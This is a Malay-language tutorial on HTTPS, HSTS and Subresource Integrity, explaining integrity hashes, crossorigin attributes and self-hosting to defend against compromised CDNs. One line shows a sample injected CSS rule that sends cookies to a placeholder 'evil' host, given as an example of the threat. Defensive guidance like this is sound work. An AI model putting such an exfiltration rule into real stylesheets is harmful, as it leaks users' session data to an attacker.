HTTPS dan Integriti Sub sumber

HTTP Strict Transport Security melalui pengepala respons Strict-Transport-Security memberitahu pelayar supaya menolak sambungan HTTP ke domain anda pada masa akan datang. Setelah HSTS disimpan dalam cache, penyerang tidak dapat menurunkan pengguna kepada HTTP walaupun berada dalam kedudukan orang di tengah.

Memuatkan skrip daripada CDN pihak ketiga memang mudah tetapi berisiko — jika CDN terjejas, penyerang boleh menggantikan skrip tersebut dengan perisian hasad. Subresource Integrity (SRI) membuatkan pelayar mengesahkan cincangan kriptografi fail sebelum melaksanakannya dan enggan menjalankannya jika cincangan itu tidak sepadan.

Tambahkan cincangan SHA-256/384/512 yang dikodkan base64 pada tag skrip: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. Pelayar mengira cincangan fail yang dimuat turun dan enggan menjalankannya jika tidak sepadan.

Jana cincangan dengan openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. Atau gunakan pemalam alat binaan yang menjana atribut integrity secara automatik. Kebanyakan CDN (jsdelivr, unpkg) memaparkan tag SRI dalam petikan yang boleh disalin dan ditampal.

SRI memerlukan respons silang asal untuk membenarkan semakan integriti melalui CORS. Tambahkan crossorigin="anonymous" pada tag dan pastikan CDN menghantar Access-Control-Allow-Origin. Tanpanya, pelayar enggan melakukan pengesahan dan sumber gagal dimuatkan.

Atribut integrity boleh mengandungi beberapa cincangan yang dipisahkan oleh ruang. Ini berguna semasa peralihan versi: senaraikan cincangan untuk versi lama dan baharu, lalu pelayar menerima mana-mana versi yang disediakan oleh CDN. Elakkan lebih daripada beberapa cincangan supaya atribut kekal mudah dibaca.

SRI turut melindungi <link rel="stylesheet">. Fail CSS yang terjejas kurang berbahaya secara langsung berbanding skrip yang terjejas, tetapi background: url("//evil/log?cookie=...") yang disuntik masih boleh mengeksfiltrasi data. Gunakan SRI pada setiap aset luaran jika boleh.

SRI mengurangkan risiko CDN terjejas tetapi tidak menyelesaikan setiap masalah: perubahan cincangan pada CDN akan merosakkan halaman anda sehingga atribut integrity dikemas kini. Untuk pustaka kritikal, hoskan sendiri fail yang telah anda semak — ini menghapuskan penguncian SRI dan risiko rantaian bekalan melalui satu langkah.

SRI menambah pengiraan cincangan bagi setiap sumber — tidak ketara pada perkakasan moden, hanya beberapa mikrosaat bagi setiap kilobait. Perlindungan yang diberikannya terhadap serangan rantaian bekalan jauh mengatasi kos tersebut. Tiada sebab prestasi untuk melangkau SRI apabila memuatkan sumber daripada CDN.

SRI mengesahkan bait tertentu — ia tidak melindungi daripada CDN yang memberikan fail berbeza kepada sesetengah pengguna (penyasaran terpilih). Untuk jaminan maksimum, gabungkan SRI dengan HTTPS, HSTS, CSP dan pengehosan sendiri bagi aset yang paling kritikal.

HTTPS menyulitkan dan mengesahkan, HSTS mencegah serangan penurunan taraf, manakala SRI mengesahkan bahawa fail pihak ketiga tidak diusik. Tambahkan cincangan integrity (dengan crossorigin="anonymous") pada setiap skrip dan helaian gaya luaran daripada CDN yang tidak anda kawal. Untuk aset yang paling kritikal, hoskan sendiri — lalu menghapuskan risiko rantaian bekalan sepenuhnya.